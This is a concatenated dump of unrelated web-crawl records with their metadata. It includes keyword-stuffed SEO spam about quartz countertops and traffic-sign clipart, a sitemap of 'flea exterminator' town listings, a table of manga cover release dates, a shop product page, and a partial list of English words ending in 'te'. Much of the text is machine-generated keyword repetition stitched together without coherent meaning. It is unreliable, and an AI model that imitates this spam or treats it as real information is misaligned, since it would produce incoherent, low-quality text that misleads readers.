rococo kitchen.\nviatera rococo lg quartz color information lg quartz rococo price viatera rococo kitchen.\nviatera rococo lg viatera rococo home depot lg hausys rococo price.\nviatera rococo lg lg viatera rococo in a kitchen lg hausys rococo price.\nviatera rococo lg viatera rococo vs minuet viatera rococo cost.\nviatera rococo lg rococo minuet and white quartz lg viatera rococo vs minuet lg viatera rococo reviews.\nviatera rococo quartz bathroom viatera rococo home depot lg viatera rococo cost.\nviatera rococo lg lg viatera rococo vs minuet lg viatera rococo reviews.\nviatera rococo adorned homes uses lg viatera rococo cost viatera rococo price.\nviatera rococo rococo rococo quartz best lg rococo images on lg quartz rococo price lg viatera rococo in a kitchen.\nviatera rococo quartz maple cabinets lg rococo quartz shaker maple cabinets in clear viatera rococo price viatera rococo reviews.","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/aliexpressbd.co\/viatera-rococo\/","date":"2020-01-21T21:23:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250605075.24\/warc\/CC-MAIN-20200121192553-20200121221553-00113.warc.gz","language":"ina","language_score":0.3073388338,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3073388338088989, \"lat_Latn_score\": 0.18893098831176758, \"eng_Latn_score\": 0.14151039719581604, \"avk_Latn_score\": 0.0711226835846901, \"eus_Latn_score\": 0.04153010621666908, \"vec_Latn_score\": 0.029282664880156517, \"asm_Latn_score\": 0.025577332824468613, \"arg_Latn_score\": 0.02094835415482521, \"pcd_Latn_score\": 0.015032664872705936, \"srd_Latn_score\": 0.010409149341285229, \"frp_Latn_score\": 0.010173380374908447}","num_words":793,"character_repetition_ratio":0.322,"word_repetition_ratio":0.443,"special_characters_ratio":0.173,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.307,"perplexity_score":12135.6,"cluster_detection":-1} +{"text":"DataHand - 7..flea exterminator in ... 7..flea exterminator in\nflea exterminator in tooele ut\nflea exterminator in washington ut\nflea exterminator in west jordan ut\nflea exterminator in alexandria va\nflea exterminator in annandale va\nflea exterminator in arlington va\nflea exterminator in blacksburg va\nflea exterminator in bristol va\nflea exterminator in burke va\nflea exterminator in centreville va\nflea exterminator in chantilly va\nflea exterminator in charlottesville va\nflea exterminator in chesapeake va\nflea exterminator in chester va\nflea exterminator in christiansburg va\nflea exterminator in colonial heights va\nflea exterminator in culpeper va\nflea exterminator in danville va\nflea exterminator in fairfax va\nflea exterminator in falls church va\nflea exterminator in fredericksburg va\nflea exterminator in front royal va\nflea exterminator in gainesville va\nflea exterminator in glen allen va\nflea exterminator in hampton va\nflea exterminator in harrisonburg va\nflea exterminator in herndon va\nflea exterminator in hopewell va\nflea exterminator in leesburg va\nflea exterminator in lorton va\nflea exterminator in lynchburg va\nflea exterminator in madison heights va\nflea exterminator in manassas va\nflea exterminator in martinsville va\nflea exterminator in mechanicsville va\nflea exterminator in merrifield va\nflea exterminator in newport news va\nflea exterminator in norfolk va\nflea exterminator in oakton va\nflea exterminator in petersburg va\nflea exterminator in poquoson va\nflea exterminator in portsmouth va\nflea exterminator in radford va\nflea exterminator in reston va\nflea exterminator in richmond va\nflea exterminator in roanoke va\nflea exterminator in salem va\nflea exterminator in springfield va\nflea exterminator in staunton va\nflea exterminator in suffolk va\nflea exterminator in vienna va\nflea exterminator in virginia beach va\nflea exterminator in waynesboro va\nflea exterminator in williamsburg va\nflea exterminator in winchester va\nflea exterminator in woodbridge va\nflea exterminator in burlington vt\nflea exterminator in colchester vt\nflea exterminator in rutland vt\nIndex\n\n\nA\nB\nC\nD\nE\nF\nG\nH\nI\nJ\nK\nL\nM\nN\nO\nP\nQ\nR\nS\nT\nU\nV\nW\nX\nY\nZ\n1\n2\n3\n4\n5\n6\n7\n8\n9","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.datahand.com\/sitemap\/7\/722\/4","date":"2020-05-26T20:13:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347391309.4\/warc\/CC-MAIN-20200526191453-20200526221453-00462.warc.gz","language":"ina","language_score":0.3957291842,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3957291841506958, \"ron_Latn_score\": 0.2767801880836487, \"ile_Latn_score\": 0.13364073634147644, \"eng_Latn_score\": 0.08632568269968033, \"lim_Latn_score\": 0.045128025114536285, \"slv_Latn_score\": 0.011881988495588303}","num_words":621,"character_repetition_ratio":0.491,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.361,"perplexity_score":5780.6,"cluster_detection":-1} +{"text":"Apr 24 2020 clipart signalisation vertical e marquage routier var signalisation routiere var abt clipart signalisation vertical e . clipart signalisation vertical e code de la route la signalisation verticale youtube vertical clipart e signalisation . clipart signalisation vertical e panneau de signalisation de dessin animé image e vertical signalisation clipart . clipart signalisation vertical e signalisation clipart 20 free cliparts download images vertical e signalisation clipart . clipart signalisation vertical e feu de signalisation et ensemble de panneau routier clipart e signalisation vertical . clipart signalisation vertical e dessin de signe vecteur des panneaux de signalisation vertical clipart signalisation e . clipart signalisation vertical e signal routes contact vertical signalisation clipart e . clipart signalisation vertical e bleu direction panneau de signalisation clipart signalisation e clipart vertical . clipart signalisation vertical e panneau de signalisation danger vecteur ahead vecteurs clipart e vertical signalisation . clipart signalisation vertical e signalisation verticale clipart signalisation vertical e . clipart signalisation vertical e emc2 gibe group signalisation vertical clipart e . clipart signalisation vertical e interstate highway sign clip art 109582 free svg vertical signalisation e clipart . clipart signalisation vertical e signalisation verticale road art sàrl suisse public clipart signalisation e vertical . clipart signalisation vertical e blue direction road sign stock vector illustration of clipart signalisation vertical e . clipart signalisation vertical e illustration centaines vecteur panneau de signalisation signalisation e clipart vertical . clipart signalisation vertical e signalisation routière verticale et horizontale ornikar signalisation clipart vertical e . clipart signalisation vertical e quotdouble panneau de signalisation verticalequot photo libre de signalisation clipart vertical e . clipart signalisation vertical e traffic signs clipart e signalisation vertical . clipart signalisation vertical e kostenlose vektorgrafik kreisverkehr verkehrszeichen vertical e signalisation clipart . clipart signalisation vertical e tunnel road sign clip art 109425 free svg download 4 vertical e clipart signalisation . clipart signalisation vertical e ensemble de signalisation routière vierge image clipart vertical e signalisation . clipart signalisation vertical e signalisation clipart 20 free cliparts download images clipart e vertical signalisation . clipart signalisation vertical e types de signalisationscode de la route生活 沪江社团 signalisation clipart e vertical . clipart signalisation vertical e fileitalian traffic signs preavviso di direzione vertical clipart signalisation e . clipart signalisation vertical e signalisation verticale agilis signalisation vertical e clipart . clipart signalisation vertical e panneau de signalisation image vectorielle alexcardo clipart e vertical signalisation . clipart signalisation vertical e panneau de signalisation École pensez À nous l0613 clipart e vertical signalisation . clipart signalisation vertical e code de la route les règles de circulation ornikar e vertical signalisation clipart . clipart signalisation vertical e prix sur demande clipart vertical e signalisation . clipart signalisation vertical e les zones de stationnement réglementées viragescom e signalisation clipart vertical . clipart signalisation vertical e feux de signalisation de vecteur illustration de vecteur clipart vertical e signalisation . clipart signalisation vertical e 162 cartoons illustrations vector stock images 11 clipart vertical signalisation e . Post navigation Previous Previous post:Next Next post:","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/uma36.info\/clipart-signalisation-vertical-e\/","date":"2020-05-28T04:32:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347396495.25\/warc\/CC-MAIN-20200528030851-20200528060851-00134.warc.gz","language":"ina","language_score":0.4290513694,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.42905136942863464, \"ile_Latn_score\": 0.25836482644081116, \"fra_Latn_score\": 0.040818918496370316, \"swe_Latn_score\": 0.03484097123146057, \"eng_Latn_score\": 0.0294494591653347, \"atj_Latn_score\": 0.025236815214157104, \"dan_Latn_score\": 0.016612332314252853, \"nld_Latn_score\": 0.012898089364171028, \"ekk_Latn_score\": 0.012293272651731968, \"wes_Latn_score\": 0.011892327107489109}","num_words":897,"character_repetition_ratio":0.413,"word_repetition_ratio":0.255,"special_characters_ratio":0.151,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.429,"perplexity_score":6074.7,"cluster_detection":-1} +{"text":"|sorti le 03\/03\/00||sorti le 02\/06\/00||sorti le 04\/08\/00||sorti le 04\/10\/00||sorti le 04\/12\/00|\n|sorti le 02\/03\/01||sorti le 01\/05\/01||sorti le 23\/08\/01||sorti le 24\/10\/01||sorti le 24\/12\/01|\n|sorti le 04\/03\/02||sorti le 01\/05\/02||sorti le 02\/08\/02||sorti le 01\/11\/02||sorti le 20\/12\/02|\n|sorti le 04\/03\/03||sorti le 01\/05\/03||sorti le 04\/08\/03||sorti le 04\/11\/03||sorti le 19\/12\/03|\n|sorti le 04\/03\/04||sorti le 30\/04\/04||sorti le 04\/08\/04||sorti le 04\/11\/04||sorti le 03\/12\/04|\n|sorti le 04\/02\/05||sorti le 04\/04\/05||sorti le 03\/06\/05||sorti le 04\/08\/05||sorti le 04\/11\/05|\n|sorti le 26\/12\/05||sorti le 04\/04\/06||sorti le 02\/06\/06||sorti le 04\/08\/06||sorti le 02\/11\/06|\n|sorti le 27\/12\/06||sorti le 04\/04\/07||sorti le 04\/06\/07||sorti le 03\/08\/07||sorti le 02\/11\/07|\n|sorti le 04\/02\/08||sorti le 02\/05\/08||sorti le 04\/08\/08||sorti le 04\/11\/08||sorti le 04\/02\/09|\n|sorti le 01\/05\/09||sorti le 04\/08\/09||sorti le 04\/11\/09||sorti le 04\/01\/10||sorti le 04\/03\/10|\n|sorti le 30\/04\/10||sorti le 04\/08\/10||sorti le 04\/11\/10||sorti le 29\/12\/10||sorti le 21\/04\/11|\n|sorti le 03\/06\/11||sorti le 04\/08\/11||sorti le 04\/11\/11||sorti le 03\/02\/12||sorti le 02\/05\/12|\n|sorti le 27\/07\/12||sorti le 04\/10\/12||sorti le 28\/12\/12||sorti le 04\/04\/13||sorti le 04\/07\/13|\n|sorti le 04\/09\/13||sorti le 04\/12\/13||sorti le 04\/03\/14||sorti le 02\/05\/14|\n|Couvertures japonaises des 69 volumes parus chez Shueisha\n\n\n(série en cours)\n|sorti le 02\/07\/04||sorti le 03\/07\/09|\n|Volume paru chez Shueisha - 1470¥||Volume paru chez Shueisha - 1575¥|","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.mangaverse.net\/html\/narutocouvjap.htm","date":"2020-07-14T04:12:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657147917.99\/warc\/CC-MAIN-20200714020904-20200714050904-00321.warc.gz","language":"ina","language_score":0.3140868247,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31408682465553284, \"ron_Latn_score\": 0.2737416625022888, \"fra_Latn_score\": 0.21063002943992615, \"und_Grek_score\": 0.10963980108499527, \"crs_Latn_score\": 0.017549466341733932, \"als_Latn_score\": 0.010490723885595798}","num_words":403,"character_repetition_ratio":0.312,"word_repetition_ratio":0.873,"special_characters_ratio":0.603,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.313,"perplexity_score":3107.2,"cluster_detection":-1} +{"text":"Inicio \/ Linea Marita \/ un cafe marita mas un te de maracuya mas un tapaboca de regalo un cafe marita mas un te de maracuya mas un tapaboca de regalo$1,790 un cafe marita mas un te de maracuya mas un tapaboca de regalo cantidad Añadir al carrito Categoría: Linea Marita Productos relacionados Marita Fit Protein Cacau $150 Añadir al carrito Marita Fit Protein Vainilla Leer más capuchino mas te $1,850 Añadir al carrito Caramelos Marita Green $990 Añadir al carrito","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/saludnatural.com.uy\/producto\/un-cafe-marita-mas-un-te-de-maracuya-mas-un-tapaboca-de-regalo\/","date":"2020-08-12T18:14:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738913.60\/warc\/CC-MAIN-20200812171125-20200812201125-00249.warc.gz","language":"ina","language_score":0.319727242,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.31972724199295044, \"spa_Latn_score\": 0.3153942823410034, \"pap_Latn_score\": 0.08234035968780518, \"cbk_Latn_score\": 0.07133691757917404, \"ile_Latn_score\": 0.062019091099500656, \"arg_Latn_score\": 0.02441188134253025, \"tzo_Latn_score\": 0.021588414907455444, \"oci_Latn_score\": 0.012470047920942307}","num_words":132,"character_repetition_ratio":0.138,"word_repetition_ratio":0.415,"special_characters_ratio":0.222,"stopwords_ratio":0.03,"flagged_words_ratio":0.0,"lang_id_score":0.318,"perplexity_score":11018.4,"cluster_detection":-1} +{"text":"Words Extracted From The\nLitscape Default Word List (221,719 Words)\nLitscape Default Word List (221,719 Words)\nWords ending with te\nThis is a list of all words that end with the letters\ncontained within the Litscape.com default word list. If you need words ending with more than 2 letters, use our live dictionary te search tool. words ending with 4,162 Words\n(1.877151 % of all words in this word list.)\nThe score of a word in Scrabble® or Words With Friends™ depends on the letters and the board position. Find detailed game scores and positional information for a word in the\nWord Analysis section. Also, you can find your highest scoring game plays using the Best Plays word finder tools for Scrabble® or Words With Friends™ Enable javascript to take advantage of our display and sort options.\nabalienate abate abbreviate abdicate abelsonite abequitate aberrate aberuncate abilitate abirritate abjudicate ablactate ablaqueate ablate ablegate ablocate ablute abnegate abominate abranchiate abrazite abrogate absinthiate absolute absorbate absquatulate abuccinate abvolate acanthite acanthocyte acate acaudate accelerate accentuate acceptilate accite acclimate accommodate accomodate accreditate accrete acculturate accumulate accurate acerate acerbate acervate acetate acetoacetate acetoarsenite acetylate acetylbenzoate acetylsalicylate achondrite achromacyte achromatocyte achromocyte aciculate acidophyte acidosteophyte acidulate acierate acoelomate acolyte aconite acquisite acrophyte acrylate actinolite actinomycete activate actualite actuate acuate aculeate acuminate acuminulate acupunctuate acute acylate adamsite adenocyte adequate adipocerite adipocyte adjudicate adjute admarginate adminiculate administrate adsorbate adulate adulterate adumbrate advocate aerate aerolite aerophyte aestivate aestuate affectionate affiliate affricate aftertaste agamete agarophyte agate agglomerate agglutinate aggravate aggregate agitate agranulocyte agrophyte aguillette aiglette aigrette aiguillette airdate akaryocyte akaryote albite albitite albuminate aletocyte aletophyte alginate alginophyte alienate alkylacrylate alkylate allanite alleviate alligate alliterate allocate allomorphite allophanate allylate alterate altercate alternate aluminate aluminite aluminocerite aluminocopiapite aluminomagnesiohulsite aluminosilicate aluminotaramite alumniate alumohydrocalcite alumoklyuchevskite alumopharmacosiderite alumotantite alveolate alveolite amalgamate amblygonite ambulate amebocyte ameliorate aminobenzoate ammocete ammolite ammoniate ammonite amniocyte amoebocyte amphibolite amphiphyte amplexifoliate amputate anabolite anaerophyte analcite analyte anamniote anaphyte anchorite andalusite andante andesite andradite androcyte anecdote anecophyte anemophyte anglesite angusticanaliculate anhydrate anhydrite animate anisette anisogamete annabergite annihilate annotate annulate annunciate anophyte anorthite anorthosite ante antedate antepenultimate anthophyllite anthophyte anthracite anthropolite anthropomorphite anthropophagite anthropophyte antiantidote anticellulite anticipate anticoagulate antidiazotate antidote antileukocyte antimetabolite antimonate antioxygenate antiquate antisemite antiwhite antophyte anucleate apatite aphanite apiculate aplanogamete aplite apocyte apophyte apostate appellate appetite apposite appreciate appropriate approximate apricate aragonite arbitrate archaecraniate archaeocyte archaeophyte archaeote archdeaconate archegoniate archeocyte archidiaconate archiepiscopate archigonocyte archlute arcminute arcuate arenite argentite arhbarite arillate aristate armorplate armourplate arpeggiate arrogate arrowplate arsenate arsenite arsenopyrite arthrophyte articulate arylate ascorbate asomatophyte aspartate asphaltite asphyxiate aspirate assassinate asseverate assimilate associate astrocyanite astrocyte astute asymptote ate athlete athrocyte attenuate attribute attrite audiocassette augite augurate aulete aulophyte aurate auriculate auscultate auspicate authenticate autoactivate autoagglutinate autoasphyxiate autocollimate autocorrelate autodifferentiate autoerythrocyte autoignite autolysate autolyzate automate autophosphorylate autophyte autorotate autoroute autosite auxocyte averruncate aviate avigate avunculate axinite axiolite axite axophyte azote azurite azurmalachite azygobranchiate azygote azymite baccalaureate bachelorette bacillariophyte backbite backdate backplate bacteriocyte baculite baffleplate baguette bakelite balanite ballistite bandmate banknote banquette barbellate barbituate barbiturate bariomicrolite bariopharmacosiderite barite barytocelestite barytolamprophyllite barytophyllite barytostrontianite barytosulphate baseplate basicerite basidiomycete basiophthalmite basipodite basocyte baste bauxite bedlamite bedmate bedote bedplate benitoite benmoreite benthamite benthophyte bentonite benzoate benzoinate benzolate benzoylate berate biathlete bicarbonate bichromate bicornuate bicuspidate bifidate biflagellate bifoliate bifurcate bilabiate bilamellate bilaminate bilobate bilobiate biloculate binoxalate binucleate bioaccumulate biocatalyte bioconjugate bioindicate biolite biometabolite biophyte biotite bioxalate bipartite bipennate bipinnate birthdate birthmate birthrate biseriate biserrate bismutomicrolite bisphosphonate bisulfate bisulfite bisulphate bisulphite bitartrate bite biteplate bitrate bituminate blastocyte blastplate blatherskite bleacherite bloviate bobwhite boilerplate bombinate bombsite bookplate boracite borate borosilicate bouazzerite brachiate bracteate bracteolate bradyzoite branchiate branchiostegite breastplate brecciate briquette brochette bromacetate bromate brominate bromite bromoaurate bromohydrate bronchodilate bronzite brookite brucite brumate brunette brute bryophyte bugbite bullate bunkmate bursate busticate butte butylate butyrate byssolite byte bytownite cabalette cabinmate cachinnate cacodylate calcinate calcioferrite calciohilairite calciphyte calcite calcrete calculate calibrate caliphate calumniate calycate calyculate campanulate campmate campsite canaliculate cancrinite candidate cannizzarite cannulate canonicate canulate canzonette capacitate capitate capite capitulate caprylate capsulate captivate carbamate carboaluminate carbohydrate carbonate carbonylate carbosilicate carboxylate carburate carcinocyte cardiocyte cardiomyocyte carinate carpellate carpophyte caseate caseinate cassette cassiterite cassolette caste castellate castigate castrate catabolite catalyte cataphote catapleiite catechumenate catenate caudate cavitate celadonite celebrate celestite celibate cellmate cellulite cenobite cenote centesimate centrifugate centrocyte centumvirate centuplicate ceonocyte ceramicite cerate ceratophyte cerebrate cerolite certificate ceruleite cerusite cerussite chabazite chainplate chalazoidite chalcanthite chalcocite chalcocyanite chalcophyllite chalcopyrite chalcosiderite chamaephyte chamerophyte charophyte chasmophyte chassignite chaste cheapskate checkbite checkmate chelate chelicerate chenodeoxycholate chionophyte chloracetate chlorarachniophyte chlorate chloridate chlorinate chlorite chloroacetate chloroaurate chlorochromate chlorocyte chloroformate chloroleucite chlorophyte chlorosilicate chlorothionite chlorozincate choanocyte choanoflagellate chocolate cholangiocyte cholate chomophyte chondrite chondrocyte chondrodite chordate chromalveolate chromate chromatocyte chromeplate chromite chromocyte chromophyte chrysolite chrysophyte chute cigarette ciliate cilioflagellate cinetheodolite cingulate circulate circumagitate circumambulate circumaviate circumgyrate circumlocute circumnavigate circumnutate circumrotate circumstantiate circumundulate circumvallate circumvolute cirrolite cite citrate citystate clasmatocyte classmate clathrate clavate cleftpalate climate clinohumite clinozoisite clintonite clodpate clofibrate cnidocyte coacervate coadjute coagglutinate coaggregate coagulate coagulocyte coalingite coalite coarctate coarticulate cobaltite cochleate cocirculate cocreate cocultivate codistribute coeducate coelenterate coelomate coelomocyte coenobite coenocyte coequate coeruleolactite coesite cogenerate cogitate cognate cohabitate cohobate collaborate collarette collate collectorate collegiate collencyte collimate colliquate collocate colocate colonocyte columellate columnate columniate comigrate commemorate commensurate commentate commiserate communicate commute comodulate compactituberculate compassionate compensate compete complete complicate composite compote computate compute concatenate concentrate conciliate concoagulate concremate concrete condensate conduplicate confabulate confarreate confederate confidante confiscate conflagrate conflate confute conglobate conglobulate conglomerate conglutinate congratulate congregate coniferophyte conjugate connote consecrate considerate consolidate constipate constitute consulate consummate contaminate contemplate contraindicate contribute contrite convocate convolute cooperate coordinate copperplate coprolite copromote coprophyte copulate coquette corallite cordate cordierite corelate corequisite cormophyte corneocyte cornucopiate corollate coronate corporate correlate corroborate corrugate corruscate corselette corticate coruscate corvette corymbiate costate couchmate coumarate counteragitate counterdemonstrate countereducate counterindicate counterirritate counterpropagate counterradiate counterretaliate counterstate counterstimulate courgette covariate covellite cowrite cowrote coyote cranioquadrate crate create cremate cremnophyte crenelate crenellate crenulate creosote crewmate cribrate criminate crinolette crispate cristobalite crocoite croquette crossbite crosscalibrate crossette crosspollinate crosssite cruciate cryohydrate cryolite cryophyte cryoprecipitate cryptate cryptoperthite cryptophyte cryptozoite crystallite cucullate culminate culotte cultivate cumaphyte cumulate cuneate cuprite cupulate curate curette cuspate cuspidate cute cutrate cyanate cyanaurate cyanformate cyanhydrate cyanite cyanoacetate cyanoacrylate cyanoaurate cyanochroite cyanoethylate cyanophyllite cyanophyte cyanoplatinite cyanurate cyberathlete cybernate cycadophyte cyclohexylsulfamate cyclonite cyclopentolate cyclosilicate cystencyte cystocyte cystoflagellate cytodifferentiate dacite dacryocyte date datolite deacetylate deaconate deactivate deaerate deafmute dealate dealbate dealkylate deallocate deambulate deamidate deaminate dearticulate deaspirate deathrate deattribute debate debilitate debutante decabyte decaffeinate decantate decanulate decapitate decapsulate decarbonate decarbonylate decarboxylate decathlete decelerate decemvirate decerebrate dechlorinate decimate decoagulate decollate decollete decolorate decolourate decompensate deconcatenate deconcentrate deconsecrate decontaminate deconvolute decorate decorticate decrepitate decumulate decussate dedicate dedifferentiate deduplicate deescalate defaecate defalcate defecate defenestrate defibrillate defibrinate definite deflagrate deflate deflocculate deflorate defoliate degenerate deglaciate deglutinate degmacyte degranulate degustate dehydrate dehydrochlorinate dehydrogenate deindividuate deinflate delaminate delate delectate delegate delete deliberate delicate delimitate delineate deltate demarcate demate demethylate demivolte demodulate demonstrate demote demotivate demyelinate dendrite dendrocyte denervate denigrate denitrate denominate denotate denote dentate denticulate dentirostrate denucleate denudate denunciate deobfuscate deoxycholate deoxygenate dephlegmate dephlogisticate dephosphorylate depilate deplete depollute depopulate deprecate depreciate depredate depurate depute deracinate deregulate derivate dermatophyte dermophyte derogate desalinate desaturate desecrate desegregate desicate desiccate desiderate designate desilicate desknote desmacyte desmocyte desolate despecificate desperate despite despotate despumate desquamate dessicate destimulate destinate destitute desulfurate desulphurate detente deteriorate determinate detonate detoxicate detruncate detubate devaluate devastate devegetate devertebrate deviate devote dextrogyrate diacetate diaconate diagnosticate dialysate dialyzate diazoate diazotate dibranchiate dicarboxylate dicaryophyte dichromate dictate diethyldithiocarbamate diffarreate differentiate diffusate diginite digitate dihydrate dihydrite dikaryophyte dilapidate dilatate dilate dilaurate dilettante dilute dimethylate dimidiate dinitrate dinnerplate dinoflagellate dinophyte diorite dioxalate diperoxyboronate diphenoxylate diphosphate diplophyte directorate disaccommodate disaffiliate disagglomerate disaggregate disambiguate disanimate disappropriate disarticulate disassimilate disassociate discalceate discapacitate discolorate discolourate discomboberate discombobulate discrete discriminate disculpate diseducate disequilibrate disestimate dishabilitate disilicate disilluminate disincorporate disinflate disintegrate disintoxicate disinvigorate disinvite diskette dislocate dismutate disordinate disorientate disoxidate disoxygenate disparate dispassionate dispensate dispergate disproportionate dispute disquisite disrate disrepute disseminate dissimulate dissipate dissociate dissolute distaste distillate distribute disulfate disulphate disunite dithionate dithiophosphate divaricate diverticulate divulgate doctorate dolerite dollaseite dolomite domesticate dominate donate doorplate doserate dote dovecote downrate downregulate downstate drawplate drumette duathlete dubitate dumortierite dumpsite dunite duplicate duumvirate dynamite ebracteate eburnate echinocyte echolocate ecoclimate ectoparasite ectophyte educate effectuate effeminate eggcrate eggwhite eigenstate ejaculate elaborate elaioleucite elate electorate electrocatalyte electrocoagulate electrocommunicate electrocute electrocyte electrodesiccate electroejaculate electrofulgurate electrolocate electrolyte electroplate electroporate eleolite elevate eliminate elite elixate elixiviate elocute elongate eluate elucidate elucubrate elute elutriate eluviate emacerate emaciate emanate emancipate emarginate emasculate embrocate embryophyte emendate emendicate emigrate emirate emote emulate emulgate encapsidate encapsulate enculturate endnote endoparasite endophyte endopodite endopterygote endoreduplicate endoreplicate endotheliocyte endplate enervate enflagellate enhydrite enocyte enolate enstatite ensuite entente enterocyte entophyte enucleate enumerate enunciate eophyte eparchate epaulette epicyte epididymite epidiorite epidosite epidote epiparasite epiphyte episcopate epitrite epoxidate epurate equate equilibrate equilibriate equilobate equiparate equiponderate equivocate eradicate eremophyte ergasiophyte ericophyte eructate erudite erythorbate erythrocyte escalate escaperoute essonite estate esthacyte estimate estivate estruate estuate ethylate ethylenediaminetetraacetate ethylmercurithiosalicylate etiolate etiquette euglenophyte euhydrate eukaryote euryarchaeote euryxerophyte eusporangiate eutrophicate evacuate evaginate evaluate evaporate evaporite evenpinnate eventilate eventuate evertebrate eviscerate evitate evite evocate evulgate exabyte exacerbate exaggerate exanimate exarchate exarticulate exasperate exauctorate exauthorate exbibyte excaudate excavate excite excogitate excommunicate excoriate excorticate excrete excruciate exculpate execrate execute exegete exenterate exfiltrate exflagellate exfoliate exhilarate exigeante exogastrulate exonerate exoparasite exophyte exopodite exorbitate expatiate expatriate expectorate expedite expiate explicate exponentiate expostulate exprobrate expropriate expurgate exquisite exsanguinate exsiccate exstipulate exsufflate exsufflicate extenuate exterminate extirpate extortionate extradite extrageniculate extraovate extrapolate extrastriate extravasate extricate extubate exuberate exudate fabricate fabulate faceplate facilitate falcate fantasticate fasciate fasciculate fascinate fate favorite favourite fayalite featurette federate felicitate felsite fenestrate ferricyanate ferrihydrite ferrite ferrocyanate ferrohexahydrite ferroprussiate fibrate fibrillate fibrocyte fibrolite fieldnote figurante figurate filiate filtrate fimbriate finite firegrate firstrate fishplate fistulate fixate flabelate flabellate flagellate flaggelate flagitate flannelette flatmate flavoxate fleabite flocculate floodgate flowrate fluctuate fluogermanate fluorapatite fluoridate fluorinate fluorite fluoroacetate fluorophosphate fluosilicate flute fluxgate folate foliate footnote footplate foredate foreordinate forficate formaldehydesulphoxylate formulate formylate fornicate forsterite forte fortunate forwaste foveate fractionate fragmentate frigate frostbite frustrate fugitate fukinolate fulgurate fulgurite fulminate fumarate fumigate fungate furcate furfurate furoate fustigate galenite galerite galette gallate gamete gametocyte gametophyte gangliocyte garnierite garotte garrotte gasteromycete gastrulate gate gavotte gazette gelate gelatinate gelignite geminate gemmulate generate geniculate geocomposite geocoordinate geolocate geophyte germinate gestate gesticulate geyserite ghostwrite ghostwrote gibbsite gibibyte gigabyte gigantocyte ginkgophyte glaciate glampsite glaucocystophyte glauconite glaucophanite glaucophyte gliocyte globate gluconate glucosinolate glucosylate glutamate glycerate glycerinate glycerophosphate glycochenodeoxycholate glycocholate glycoconjugate glycocylate glycodeoxycholate glycolate glycophyte glycopyrrolate glycosylate gnathite gnetophyte gnotobiote gobshite goethite goldplate gonocyte gothite gotthardtite governorate gradate graduate granite granitite granodiorite granulate granulite granulocyte graphite graptolite grate gravesite gravitate greenalite greenockite greenovite grossularite guesstimate guestimate gummite gunite guttate guttulate gymnocyte gypcrete gyrate gyrotheodolite habituate haemagglutinate haematite haematocyte haematophyte haemocyte haemoflagellate haemophagocyte halfnote halfterete halite hallucinate halogenate halonate halophyte handwrite handwrote haplite haplophyte haptophyte haruspicate hastate haste hate hauynite headnote headplate hectobyte heelplate heliazophyte helictite heliophyte heliosciophyte hellgrammite helophyte helpmate hemagglutinate hematite hematocyte hematophyte hemichordate hemicryophyte hemicryptophyte hemiepiphyte hemihydrate hemimorphite hemiparasite hemisaprophyte hemizygote hemoagglutinate hemocyte hemoflagellate hemoleucocyte hemoleukocyte hemophagocyte hepatocyte heptathlete hereticate hermaphrodite herniate hesitate hessite hessonite heteroclite heterogamete heteromorphite heterophyte heterozygote heulandite hexachloroantimonate hexahydrate hexahydrite hexahydroborite hexakisphosphate hexathlete hibernate hiddenite hirsute histiocyte histocyte holophyte holosaprophyte homesite homogenate homophyte homozygote hoplite hornblendite hotplate housemate humectate humiliate humite hyalite hyaloandesite hyaloclastite hyalodacite hydracrylate hydrate hydroboracite hydrochlorate hydroclimate hydrocyanate hydroferrocyanate hydrogenate hydrolysate hydrolyte hydrolyzate hydromagnesite hydrophyte hydrosulfate hydrosulfite hydrosulphate hydrosulphite hydroxyacetate hydroxyapatite hydroxybutyrate hydroxylapatite hydroxylate hydroxylpyromorphite hydrozincite hygrophyte hylophyte hyperaggregate hyperconcentrate hyperinflate hypermedicate hyperoxygenate hyperoxymuriate hyperparasite hyperphosphorylate hyperresupinate hypersecrete hyperstimulate hypertrophicate hyperventilate hyphenate hypoaggregate hypochlorite hypocrite hypophosphate hypophosphite hyposecrete hyposulphate hypothecate hypoventilate hysterophyte iceskate ichnite ichnolite icosahedrite ignimbrite ignite illegitimate illite illiterate illrepute illuminate illustrate ilmenite ilvaite imbricate imitate immaculate immeasurate immediate immigrate immiserate immoderate immolate immunocyte immunoprecipitate immutate imogolite imparipinnate imperforate impersonate implicate impolite importunate impregnate inaccurate inactivate inadequate inanimate inapposite inappropriate inarticulate inaugurate incapacitate incapsulate incarcerate incardinate incarnate inchoate incinerate incite incommensurate incommunicate incompassionate incomplete incomposite incondite inconsiderate incorporate incriminate incubate inculcate inculpate indefinite indelicate indeterminate indicate indicolite indiscrete indiscriminate indite individuate indoctrinate induplicate indurate inebriate infatuate infiltrate infinite inflate infuriate ingenerate ingrate ingratiate ingurgitate initiate injectate inmate innate innervate innovate inoculate inocyte inordinate inosculate inosilicate inosite inseminate insinuate inspirate instantiate instate instigate institute insubordinate insufflate insulate integrate intemperate intenerate intensate interagglutinate intercalate intercaste intercessionate intercollegiate intercommunicate interdigitate interfiltrate interjaculate interlaminate interlineate interlocate intermediate intermigrate interosculate interpellate interpenetrate interpermeate interpolate interrelate interrogate 